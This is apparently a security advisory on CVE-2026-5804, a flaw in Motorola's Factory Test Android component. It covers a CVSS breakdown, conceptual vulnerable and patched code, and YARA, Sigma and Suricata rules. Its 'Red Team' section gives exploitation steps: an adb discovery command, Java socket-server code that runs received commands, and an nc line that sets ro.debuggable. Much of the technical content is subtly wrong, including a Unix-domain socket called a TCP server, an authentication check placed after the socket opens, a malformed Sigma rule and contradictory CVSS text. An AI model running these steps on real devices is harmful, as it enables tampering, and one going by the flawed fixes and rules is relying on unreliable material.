CVE-2026-5804

Executive Summary

CVE-2026-5804 is a critical improper authentication vulnerability in the Motorola Factory Test component (com.motorola.motocit). The application exposes a writable file descriptor in external storage, allowing any third-party application on the device to open a TCP server. This bypasses Android permission checks and grants unauthorized access to protected device settings and sensitive data. With a CVSS score of 8.4, the vulnerability poses a severe local privilege escalation risk, enabling attackers to compromise device integrity and confidentiality without user interaction.

Note: This vulnerability is specific to the Android ecosystem and the Motorola Factory Test application. It is not related to any web server or WordPress component.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires physical or ADB access to the device.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains within its security boundary.
• Confidentiality (C): High (H) – Sensitive device settings and data exposed.
• Integrity (I): High (H) – Attackers can modify protected settings.
• Availability (A): High (H) – Potential to disrupt device functionality.

Threat Level: Critical – Exploitation is straightforward for any app installed on the device, with no user interaction required.

Deep Dive & Mechanics

The vulnerability resides in the com.motorola.motocit package, which is a system-level application used for factory testing. The application creates a writable file descriptor in external storage (e.g., /sdcard/ or /storage/emulated/0/). This file descriptor is intended for internal communication but is inadvertently exposed to all applications on the device.

Attack Flow:

1. A malicious app installed on the device (or an attacker with ADB access) discovers the writable file descriptor.
2. The attacker uses this descriptor to open a TCP server on a local port (e.g., 127.0.0.1:XXXX).
3. The TCP server listens for commands and can interact with the Motorola Factory Test component.
4. Because the file descriptor bypasses Android’s permission checks, the attacker can invoke protected APIs, read/write sensitive settings, and potentially escalate privileges.

Root Cause: Improper authentication – the application does not verify the identity of the process using the file descriptor, allowing any local process to communicate with the privileged component.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described conceptually:

Vulnerable Code (Conceptual):

// Vulnerable: Exposes a writable file descriptor without authentication
FileDescriptor fd = ParcelFileDescriptor.open(
    new File("/sdcard/motocit_fd"),
    ParcelFileDescriptor.MODE_READ_WRITE
).getFileDescriptor();
// The fd is passed to a service that listens for connections
LocalServerSocket server = new LocalServerSocket(fd);

Patched Code (Hypothetical):

// Patched: Validate the connecting process identity
FileDescriptor fd = ParcelFileDescriptor.open(
    new File("/data/local/tmp/motocit_fd"), // Internal storage, not external
    ParcelFileDescriptor.MODE_READ_WRITE
).getFileDescriptor();
LocalServerSocket server = new LocalServerSocket(fd);
// Add authentication check
if (Binder.getCallingUid() != Process.myUid()) {
    throw new SecurityException("Unauthorized access");
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A Motorola device with the vulnerable com.motorola.motocit component.
• ADB debugging enabled or a malicious app installed.

Exploitation Steps:

1. Discover the file descriptor: Scan external storage for writable file descriptors used by com.motorola.motocit.

   adb shell ls -la /sdcard/ | grep motocit
   

2. Open a TCP server using the descriptor:

   // Malicious app code
   FileDescriptor fd = new FileInputStream("/sdcard/motocit_fd").getFD();
   LocalServerSocket server = new LocalServerSocket(fd);
   while (true) {
       LocalSocket client = server.accept();
       // Read commands and execute privileged operations
       BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
       String command = reader.readLine();
       // Execute command via the Factory Test component
   }
   

3. Execute privileged commands: Send commands to modify device settings or extract data.

   echo "setprop ro.debuggable 1" | nc localhost <PORT>
   

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected TCP servers listening on localhost ports.
• Check for unauthorized file descriptor usage in /proc/<pid>/fd/.
• Use Android’s logcat to detect suspicious connections to the Factory Test component.

Mitigation:

• Restrict external storage access for system apps via SELinux policies.
• Implement process identity verification (e.g., Binder.getCallingUid()).
• Move file descriptors to internal storage (/data/local/tmp/).

Indicators of Compromise (IOCs)

• File Path: /sdcard/motocit_fd or similar writable descriptor in external storage.
• Process: com.motorola.motocit listening on a local TCP port.
• Network: Unexpected localhost TCP connections (e.g., 127.0.0.1:XXXX).
• Logcat: Entries containing motocit and LocalServerSocket or accept.

Detection Engineering

YARA Rule

rule CVE_2026_5804_Motorola_Factory_Test {
    meta:
        description = "Detects vulnerable Motorola Factory Test component with exposed file descriptor"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-5804"
    strings:
        $s1 = "motocit_fd" ascii wide nocase
        $s2 = "LocalServerSocket" ascii wide nocase
        $s3 = "ParcelFileDescriptor" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-5804 - Motorola Factory Test File Descriptor Abuse
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects local TCP server creation by Motorola Factory Test component
author: Valters IT
date: 2026-01-01
logsource:
    product: android
    service: logcat
detection:
    selection:
        - "motocit" and "LocalServerSocket"
        - "motocit" and "accept"
    condition: selection
falsepositives:
    - Legitimate factory testing
level: high

Suricata Rule

alert tcp 127.0.0.1 any -> 127.0.0.1 any (msg:"CVE-2026-5804 Motorola Factory Test Local TCP Server"; flow:to_server; content:"motocit"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Factory Test component if not required: adb shell pm disable com.motorola.motocit.
2. Restrict external storage access for system apps via SELinux policies.
3. Monitor for unauthorized local TCP connections using network monitoring tools.

Long-Term Fix:

• Motorola must release a patch that:
  • Moves the file descriptor to internal storage (/data/local/tmp/).
  • Implements authentication (e.g., verifying the caller’s UID).
  • Removes the writable file descriptor entirely if not needed.

Workaround:

• Use Android’s AppOps to revoke storage permissions for com.motorola.motocit if possible.

Valters IT
DevSecOps & Cyber Threat Intelligence